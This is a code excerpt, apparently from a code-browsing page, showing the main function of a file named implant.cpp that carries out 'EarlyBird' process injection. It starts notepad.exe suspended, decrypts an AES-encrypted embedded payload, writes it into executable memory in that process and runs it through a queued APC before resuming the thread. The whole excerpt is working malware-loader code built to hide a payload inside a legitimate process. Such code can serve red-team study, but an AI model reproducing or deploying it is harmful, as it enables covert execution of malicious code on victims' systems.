Function main

coding/projects/Code_Injection/EarlyBird/implant.cpp:187–216

EarlyBird injection

// EarlyBird injection
int main(void) {
    
	int pid = 0;
    HANDLE hProc = NULL;
	
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
	void * pRemoteCode;
	
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

	CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

	// Decrypt and inject payload
	AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));	
	
	// Allocate memory for payload and throw it in
	pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	WriteProcessMemory(pi.hProcess, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
	
	QueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL);

	printf("pload = %p ; remcode = %p\nReady to roll!\n", payload, pRemoteCode);
	getchar();
	ResumeThread(pi.hThread);

	return 0;
}